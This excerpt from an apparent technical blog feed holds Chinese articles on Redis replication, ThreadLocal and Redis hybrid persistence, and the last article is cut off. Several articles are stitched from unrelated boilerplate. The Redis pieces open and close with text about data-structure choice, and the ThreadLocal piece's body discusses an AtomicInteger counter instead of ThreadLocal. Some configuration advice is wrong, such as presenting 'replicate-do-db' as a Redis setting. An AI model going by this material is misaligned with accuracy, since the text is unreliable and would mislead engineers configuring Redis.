        <content type="html"><![CDATA[<h1 id="Redis主从复制原理"><a href="#Redis主从复制原理" class="headerlink" title="Redis主从复制原理"></a>Redis主从复制原理</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、复制架构"><a href="#一、复制架构" class="headerlink" title="一、复制架构"></a>一、复制架构</h2><p>#</p><h2 id="1-1-基本架构"><a href="#1-1-基本架构" class="headerlink" title="1.1 基本架构"></a>1.1 基本架构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────┐      复制      ┌─────────┐</span><br><span class="line">│  Master │  ──────────&gt;  │  Slave  │</span><br><span class="line">│  (读写)  │               │  (只读)  │</span><br><span class="line">└─────────┘               └─────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-一主多从"><a href="#1-2-一主多从" class="headerlink" title="1.2 一主多从"></a>1.2 一主多从</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">         ┌──────────&gt; ┌─────────┐</span><br><span class="line">┌────────┐            │ Slave 1 │</span><br><span class="line">│ Master │ ──────────&gt;├─────────┤</span><br><span class="line">└────────┘            │ Slave 2 │</span><br><span class="line">         └──────────&gt; │ Slave 3 │</span><br><span class="line">                      └─────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-3-级联复制"><a href="#1-3-级联复制" class="headerlink" title="1.3 级联复制"></a>1.3 级联复制</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Master ──&gt; Slave1 ──&gt; Slave2</span><br><span class="line">  │</span><br><span class="line">  └────&gt; Slave3</span><br></pre></td></tr></table></figure><h2 id="二、复制流程"><a href="#二、复制流程" class="headerlink" title="二、复制流程"></a>二、复制流程</h2><p>#</p><h2 id="2-1-全量同步（Full-Resynchronization）"><a href="#2-1-全量同步（Full-Resynchronization）" class="headerlink" title="2.1 全量同步（Full Resynchronization）"></a>2.1 全量同步（Full Resynchronization）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Slave                    Master</span><br><span class="line">  │                         │</span><br><span class="line">  │  1. 连接Master          │</span><br><span class="line">  │ ──────────────────────&gt; │</span><br><span class="line">  │                         │</span><br><span class="line">  │  2. 发送PSYNC命令       │</span><br><span class="line">  │ ──────────────────────&gt; │</span><br><span class="line">  │                         │</span><br><span class="line">  │  3. 返回+FULLRESYNC     │</span><br><span class="line">  │ &lt;────────────────────── │</span><br><span class="line">  │     runid               │</span><br><span class="line">  │     offset              │</span><br><span class="line">  │                         │</span><br><span class="line">  │  4. 发送RDB文件         │</span><br><span class="line">  │ &lt;────────────────────── │</span><br><span class="line">  │                         │</span><br><span class="line">  │  5. 加载RDB             │</span><br><span class="line">  │                         │</span><br><span class="line">  │  6. 接收后续写命令      │</span><br><span class="line">  │ &lt;────────────────────── │</span><br><span class="line">  │    （复制积压缓冲区）    │</span><br></pre></td></tr></table></figure><p><strong>详细步骤</strong>：</p><ol><li><p><strong>Slave连接Master</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Slave配置</span></span><br><span class="line">replicaof 192.168.1.100 6379</span><br></pre></td></tr></table></figure></li><li><p><strong>发送PSYNC命令</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">PSYNC &lt;runid&gt; &lt;offset&gt;</span><br><span class="line"></span><br><span class="line">首次复制：</span><br><span class="line">PSYNC ? -1</span><br><span class="line"></span><br><span class="line">断线重连：</span><br><span class="line">PSYNC &lt;master_runid&gt; &lt;slave_offset&gt;</span><br></pre></td></tr></table></figure></li><li><p><strong>Master响应</strong></p></li></ol><ul><li>如果runid匹配且offset在复制积压缓冲区内：返回<code>+CONTINUE</code>（部分重同步）</li><li>否则：返回<code>+FULLRESYNC &lt;runid&gt; &lt;offset&gt;</code>（全量同步）</li></ul><ol start="4"><li><p><strong>Master生成并发送RDB</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Master执行BGSAVE → 生成RDB文件 → 发送给Slave</span><br></pre></td></tr></table></figure></li><li><p><strong>Slave加载RDB</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Slave清空内存 → 加载RDB文件 → 数据与Master一致</span><br></pre></td></tr></table></figure></li><li><p><strong>同步后续写命令</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Master将RDB生成后的写命令写入复制积压缓冲区</span><br><span class="line">Slave接收并执行这些命令</span><br></pre></td></tr></table></figure></li></ol><p>#</p><h2 id="2-2-增量同步（Partial-Resynchronization）"><a href="#2-2-增量同步（Partial-Resynchronization）" class="headerlink" title="2.2 增量同步（Partial Resynchronization）"></a>2.2 增量同步（Partial Resynchronization）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Slave                    Master</span><br><span class="line">  │                         │</span><br><span class="line">  │  网络断开               │</span><br><span class="line">  │  XXXXXXXXXXXXXXXXXXXXX  │</span><br><span class="line">  │                         │</span><br><span class="line">  │  网络恢复               │</span><br><span class="line">  │                         │</span><br><span class="line">  │  发送PSYNC runid offset │</span><br><span class="line">  │ ──────────────────────&gt; │</span><br><span class="line">  │                         │</span><br><span class="line">  │  3. 返回+CONTINUE       │</span><br><span class="line">  │ &lt;────────────────────── │</span><br><span class="line">  │                         │</span><br><span class="line">  │  4. 发送缺失的命令      │</span><br><span class="line">  │ &lt;────────────────────── │</span><br></pre></td></tr></table></figure><p><strong>触发条件</strong>：</p><ul><li>Slave之前同步过该Master（runid匹配）</li><li>Slave的offset在Master的复制积压缓冲区内</li></ul><h2 id="三、核心机制"><a href="#三、核心机制" class="headerlink" title="三、核心机制"></a>三、核心机制</h2><p>#</p><h2 id="3-1-复制积压缓冲区（Replication-Backlog）"><a href="#3-1-复制积压缓冲区（Replication-Backlog）" class="headerlink" title="3.1 复制积压缓冲区（Replication Backlog）"></a>3.1 复制积压缓冲区（Replication Backlog）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Master维护一个固定大小的FIFO队列：</span><br><span class="line"></span><br><span class="line">┌─────────────────────────────────────────────────────────────┐</span><br><span class="line">│ 复制积压缓冲区（默认1MB）                                      │</span><br><span class="line">│                                                             │</span><br><span class="line">│  offset:1000    offset:1001    offset:1002      offset:1200 │</span><br><span class="line">│  ┌─────────┐   ┌─────────┐   ┌─────────┐     ┌─────────┐  │</span><br><span class="line">│  │ SET a 1 │   │ SET b 2 │   │ DEL c   │ ... │ SET x 9 │  │</span><br><span class="line">│  └─────────┘   └─────────┘   └─────────┘     └─────────┘  │</span><br><span class="line">│                                                             │</span><br><span class="line">│  master_repl_offset = 1200                                  │</span><br><span class="line">└─────────────────────────────────────────────────────────────┘</span><br><span class="line"></span><br><span class="line">Slave断线后重连，offset=1001：</span><br><span class="line">- 1001在缓冲区内（1000~1200）</span><br><span class="line">- 只需发送1001~1200的命令</span><br><span class="line"></span><br><span class="line">Slave断线后重连，offset=500：</span><br><span class="line">- 500不在缓冲区内（已超出）</span><br><span class="line">- 触发全量同步</span><br></pre></td></tr></table></figure><p><strong>配置</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 复制积压缓冲区大小（建议根据写入量调整）</span><br><span class="line">repl-backlog-size 10mb</span><br><span class="line"></span><br><span class="line"># Slave断线后，Master保持缓冲区的超时时间</span><br><span class="line">repl-backlog-ttl 3600</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-PSYNC机制"><a href="#3-2-PSYNC机制" class="headerlink" title="3.2 PSYNC机制"></a>3.2 PSYNC机制</h2><p>Redis 2.8之前使用SYNC，只能全量同步。<br>Redis 2.8+ 使用PSYNC，支持增量同步。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// PSYNC命令处理</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">syncCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    <span class="comment">// 检查是否是PSYNC</span></span><br><span class="line">    <span class="keyword">if</span> (!strcasecmp(c-&gt;argv[<span class="number">0</span>]-&gt;ptr, <span class="string">&quot;psync&quot;</span>)) &#123;</span><br><span class="line">        <span class="comment">// 尝试部分重同步</span></span><br><span class="line">        <span class="keyword">if</span> (masterTryPartialResynchronization(c) == C_OK) &#123;</span><br><span class="line">            <span class="comment">// 增量同步成功</span></span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 失败，进行全量同步</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 全量同步流程</span></span><br><span class="line">    <span class="comment">// 1. 生成RDB</span></span><br><span class="line">    <span class="comment">// 2. 发送RDB</span></span><br><span class="line">    <span class="comment">// 3. 发送后续命令</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-Master的RunID"><a href="#3-3-Master的RunID" class="headerlink" title="3.3 Master的RunID"></a>3.3 Master的RunID</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">RunID是40字符的随机十六进制字符串：</span><br><span class="line">- Master启动时生成</span><br><span class="line">- 用于标识Master实例</span><br><span class="line">- Slave记录Master的RunID</span><br><span class="line"></span><br><span class="line">作用：</span><br><span class="line">- 判断Slave是否之前同步过该Master</span><br><span class="line">- 如果RunID不同，说明Master重启过，必须全量同步</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-传播写命令"><a href="#3-4-传播写命令" class="headerlink" title="3.4 传播写命令"></a>3.4 传播写命令</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Master执行写命令：</span><br><span class="line"></span><br><span class="line">1. 修改内存数据</span><br><span class="line">2. 写入AOF（如果开启）</span><br><span class="line">3. 传播给所有Slave：</span><br><span class="line">   </span><br><span class="line">   对于每个Slave：</span><br><span class="line">   - 写入Slave的输出缓冲区</span><br><span class="line">   - 等待Slave的ACK（如果配置了min-slaves）</span><br></pre></td></tr></table></figure><h2 id="四、配置"><a href="#四、配置" class="headerlink" title="四、配置"></a>四、配置</h2><p>#</p><h2 id="4-1-Slave配置"><a href="#4-1-Slave配置" class="headerlink" title="4.1 Slave配置"></a>4.1 Slave配置</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf (Slave)</span><br><span class="line"></span><br><span class="line"># 方式一：配置文件中指定Master</span><br><span class="line">replicaof 192.168.1.100 6379</span><br><span class="line"></span><br><span class="line"># 方式二：启动参数</span><br><span class="line"># redis-server --replicaof 192.168.1.100 6379</span><br><span class="line"></span><br><span class="line"># 方式三：运行时配置</span><br><span class="line"># redis-cli REPLICAOF 192.168.1.100 6379</span><br><span class="line"></span><br><span class="line"># 如果Master有密码</span><br><span class="line">masterauth password</span><br><span class="line"></span><br><span class="line"># Slave只读（默认）</span><br><span class="line">replica-read-only yes</span><br><span class="line"></span><br><span class="line"># 复制优先级（Sentinel使用，数值小的优先提升为Master）</span><br><span class="line">replica-priority 100</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-Master配置"><a href="#4-2-Master配置" class="headerlink" title="4.2 Master配置"></a>4.2 Master配置</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf (Master)</span><br><span class="line"></span><br><span class="line"># 允许Slave数量（用于延迟计算）</span><br><span class="line">min-replicas-to-write 1</span><br><span class="line">min-replicas-max-lag 10</span><br><span class="line"></span><br><span class="line"># 复制积压缓冲区</span><br><span class="line">repl-backlog-size 10mb</span><br><span class="line">repl-backlog-ttl 3600</span><br><span class="line"></span><br><span class="line"># 禁用TCP_NODELAY（减少网络小包）</span><br><span class="line">repl-disable-tcp-nodelay no</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-无磁盘复制（Diskless-Replication）"><a href="#4-3-无磁盘复制（Diskless-Replication）" class="headerlink" title="4.3 无磁盘复制（Diskless Replication）"></a>4.3 无磁盘复制（Diskless Replication）</h2><p>Redis 2.8.18+ 支持直接通过网络发送RDB：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># Master直接通过网络发送RDB，不写入磁盘</span><br><span class="line">repl-diskless-sync yes</span><br><span class="line"></span><br><span class="line"># 延迟开始发送，等待多个Slave连接（减少重复RDB生成）</span><br><span class="line">repl-diskless-sync-delay 5</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：</p><ul><li>磁盘IO瓶颈</li><li>云环境（磁盘性能差）</li></ul><h2 id="五、复制状态监控"><a href="#五、复制状态监控" class="headerlink" title="五、复制状态监控"></a>五、复制状态监控</h2><p>#</p><h2 id="5-1-查看复制状态"><a href="#5-1-查看复制状态" class="headerlink" title="5.1 查看复制状态"></a>5.1 查看复制状态</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Master视角</span></span><br><span class="line">redis-cli INFO replication</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出：</span></span><br><span class="line"><span class="comment"># role:master</span></span><br><span class="line"><span class="comment"># connected_slaves:2</span></span><br><span class="line"><span class="comment"># slave0:ip=192.168.1.101,port=6379,state=online,offset=123456,lag=1</span></span><br><span class="line"><span class="comment"># slave1:ip=192.168.1.102,port=6379,state=online,offset=123456,lag=0</span></span><br><span class="line"><span class="comment"># master_repl_offset:123456</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Slave视角</span></span><br><span class="line">redis-cli INFO replication</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出：</span></span><br><span class="line"><span class="comment"># role:slave</span></span><br><span class="line"><span class="comment"># master_host:192.168.1.100</span></span><br><span class="line"><span class="comment"># master_port:6379</span></span><br><span class="line"><span class="comment"># master_link_status:up</span></span><br><span class="line"><span class="comment"># master_last_io_seconds_ago:1</span></span><br><span class="line"><span class="comment"># master_sync_in_progress:0</span></span><br><span class="line"><span class="comment"># slave_repl_offset:123456</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-监控复制延迟"><a href="#5-2-监控复制延迟" class="headerlink" title="5.2 监控复制延迟"></a>5.2 监控复制延迟</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 计算复制延迟</span></span><br><span class="line"><span class="comment"># Master的offset - Slave的offset = 延迟字节数</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 脚本示例</span></span><br><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line">MASTER_OFFSET=$(redis-cli -h master INFO replication | grep master_repl_offset | <span class="built_in">cut</span> -d: -f2)</span><br><span class="line">SLAVE_OFFSET=$(redis-cli -h slave INFO replication | grep slave_repl_offset | <span class="built_in">cut</span> -d: -f2)</span><br><span class="line"></span><br><span class="line">LAG=$((<span class="variable">$MASTER_OFFSET</span> - <span class="variable">$SLAVE_OFFSET</span>))</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;复制延迟: <span class="variable">$LAG</span> bytes&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ <span class="variable">$LAG</span> -gt 1000000 ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;复制延迟过大！&quot;</span> | mail -s <span class="string">&quot;Redis复制告警&quot;</span> admin@company.com</span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-查看Slave客户端"><a href="#5-3-查看Slave客户端" class="headerlink" title="5.3 查看Slave客户端"></a>5.3 查看Slave客户端</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli CLIENT LIST | grep slave</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出：</span></span><br><span class="line"><span class="comment"># id=5 addr=192.168.1.101:port fd=8 name= age=3600 idle=1 flags=S db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=0 obl=0 oll=0 omem=0 events=r cmd=replconf</span></span><br></pre></td></tr></table></figure><h2 id="六、常见问题"><a href="#六、常见问题" class="headerlink" title="六、常见问题"></a>六、常见问题</h2><p>#</p><h2 id="6-1-复制延迟"><a href="#6-1-复制延迟" class="headerlink" title="6.1 复制延迟"></a>6.1 复制延迟</h2><p><strong>原因</strong>：</p><ul><li>网络带宽不足</li><li>Master写入量过大</li><li>Slave性能差（单线程执行命令）</li><li>大KEY操作阻塞</li></ul><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 检查网络</span></span><br><span class="line">ping slave_ip</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 检查Slave的slowlog</span></span><br><span class="line">redis-cli SLOWLOG GET 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 优化大KEY操作</span></span><br><span class="line"><span class="comment"># 避免大Hash、大List、大ZSet的批量操作</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 增加复制积压缓冲区</span></span><br><span class="line">CONFIG SET repl-backlog-size 100mb</span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 使用更快的网络</span></span><br><span class="line"><span class="comment"># 将Master和Slave放在同一机房/可用区</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-全量同步频繁触发"><a href="#6-2-全量同步频繁触发" class="headerlink" title="6.2 全量同步频繁触发"></a>6.2 全量同步频繁触发</h2><p><strong>原因</strong>：</p><ul><li>复制积压缓冲区太小</li><li>Slave频繁断开重连</li><li>网络不稳定</li></ul><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 增大复制积压缓冲区</span></span><br><span class="line">CONFIG SET repl-backlog-size 100mb</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 优化网络稳定性</span></span><br><span class="line"><span class="comment"># 使用专线或内网连接</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 检查Slave为什么断开</span></span><br><span class="line">redis-cli INFO stats | grep <span class="built_in">sync</span></span><br><span class="line"><span class="comment"># sync_partial_ok: 部分同步成功次数</span></span><br><span class="line"><span class="comment"># sync_partial_err: 部分同步失败次数</span></span><br><span class="line"><span class="comment"># sync_full: 全量同步次数</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-主从数据不一致"><a href="#6-3-主从数据不一致" class="headerlink" title="6.3 主从数据不一致"></a>6.3 主从数据不一致</h2><p><strong>排查</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 检查复制延迟</span></span><br><span class="line">redis-cli INFO replication | grep offset</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 检查特定key</span></span><br><span class="line"><span class="comment"># Master</span></span><br><span class="line">redis-cli GET key</span><br><span class="line"></span><br><span class="line"><span class="comment"># Slave</span></span><br><span class="line">redis-cli GET key</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 检查Slave是否可写</span></span><br><span class="line">redis-cli CONFIG GET replica-read-only</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-4-复制中断"><a href="#6-4-复制中断" class="headerlink" title="6.4 复制中断"></a>6.4 复制中断</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看Slave日志</span></span><br><span class="line"><span class="built_in">tail</span> -f /var/log/redis/redis-server.log</span><br><span class="line"></span><br><span class="line"><span class="comment"># 常见错误：</span></span><br><span class="line"><span class="comment"># - MASTER aborted replication with an error: NOAUTH Authentication required.</span></span><br><span class="line"><span class="comment">#   解决：配置masterauth</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># - MASTER disconnected</span></span><br><span class="line"><span class="comment">#   解决：检查网络，检查Master的最大客户端数</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># - Can&#x27;t SYNC while loading</span></span><br><span class="line"><span class="comment">#   解决：Slave正在加载RDB，等待完成</span></span><br></pre></td></tr></table></figure><h2 id="七、复制优化"><a href="#七、复制优化" class="headerlink" title="七、复制优化"></a>七、复制优化</h2><p>#</p><h2 id="7-1-树状复制"><a href="#7-1-树状复制" class="headerlink" title="7.1 树状复制"></a>7.1 树状复制</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Master ──&gt; Slave1 ──&gt; Slave2</span><br><span class="line">  │</span><br><span class="line">  └────&gt; Slave3 ──&gt; Slave4</span><br><span class="line"></span><br><span class="line">优势：减少Master的复制压力</span><br><span class="line">劣势：级联延迟增加</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-复制过滤"><a href="#7-2-复制过滤" class="headerlink" title="7.2 复制过滤"></a>7.2 复制过滤</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># Slave只复制指定数据库（不推荐）</span><br><span class="line">replicate-do-db 0</span><br><span class="line"></span><br><span class="line"># Slave忽略指定命令（Redis 7.0+）</span><br><span class="line">replica-ignore-disk-write-errors yes</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-读写分离"><a href="#7-3-读写分离" class="headerlink" title="7.3 读写分离"></a>7.3 读写分离</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> LettuceConnectionFactory <span class="title function_">redisConnectionFactory</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 主节点</span></span><br><span class="line">        <span class="type">RedisStaticMasterReplicaConfiguration</span> <span class="variable">config</span> <span class="operator">=</span> </span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">RedisStaticMasterReplicaConfiguration</span>(<span class="string">&quot;master&quot;</span>, <span class="number">6379</span>);</span><br><span class="line">        <span class="comment">// 从节点</span></span><br><span class="line">        config.addNode(<span class="string">&quot;slave1&quot;</span>, <span class="number">6379</span>);</span><br><span class="line">        config.addNode(<span class="string">&quot;slave2&quot;</span>, <span class="number">6379</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">LettuceConnectionFactory</span>(config);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>同步方式</th><th>触发条件</th><th>数据量</th><th>对Master影响</th></tr></thead><tbody><tr><td>全量同步</td><td>首次复制、offset不在缓冲区</td><td>全部数据</td><td>大（BGSAVE）</td></tr><tr><td>增量同步</td><td>断线重连、offset在缓冲区</td><td>部分命令</td><td>小</td></tr></tbody></table><table><thead><tr><th>配置项</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td>repl-backlog-size</td><td>10-100MB</td><td>根据写入量调整</td></tr><tr><td>repl-diskless-sync</td><td>yes</td><td>无磁盘复制</td></tr><tr><td>min-replicas-to-write</td><td>1-2</td><td>保证至少N个Slave</td></tr></tbody></table><p>Redis主从复制的核心要点：</p><ol><li>PSYNC支持增量同步，减少全量同步</li><li>复制积压缓冲区大小决定断线重连效率</li><li>监控复制延迟，及时发现问题</li><li>避免大KEY操作导致复制阻塞</li><li>考虑树状复制减轻Master压力</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ThreadLocal 的使用和内存泄漏问题</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="ThreadLocal-的使用和内存泄漏问题"><a href="#ThreadLocal-的使用和内存泄漏问题" class="headerlink" title="ThreadLocal 的使用和内存泄漏问题"></a>ThreadLocal 的使用和内存泄漏问题</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis混合持久化策略</title>
      <link href="//redis-hybrid-persistence/"/>
      <url>//redis-hybrid-persistence/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis混合持久化策略"><a href="#Redis混合持久化策略" class="headerlink" title="Redis混合持久化策略"></a>Redis混合持久化策略</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、为什么需要混合持久化"><a href="#一、为什么需要混合持久化" class="headerlink" title="一、为什么需要混合持久化"></a>一、为什么需要混合持久化</h2><p>#</p><h2 id="1-1-RDB和AOF的痛点"><a href="#1-1-RDB和AOF的痛点" class="headerlink" title="1.1 RDB和AOF的痛点"></a>1.1 RDB和AOF的痛点</h2><p><strong>RDB的问题</strong>：</p><ul><li>可能丢失最后一次save后的数据</li><li>频繁BGSAVE影响性能</li></ul><p><strong>AOF的问题</strong>：</p><ul><li>文件大，恢复慢</li><li>重放所有命令耗时</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 仅AOF恢复100GB数据可能需要数小时</span></span><br><span class="line"><span class="comment"># 需要逐条执行命令</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-混合持久化的思想"><a href="#1-2-混合持久化的思想" class="headerlink" title="1.2 混合持久化的思想"></a>1.2 混合持久化的思想</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">AOF文件格式（混合持久化）：</span><br><span class="line">┌─────────────────┬─────────────────────┐</span><br><span class="line">│  RDB格式前缀     │  AOF格式增量命令     │</span><br><span class="line">│  (全量快照)      │  (重写后的增量)      │</span><br><span class="line">└─────────────────┴─────────────────────┘</span><br><span 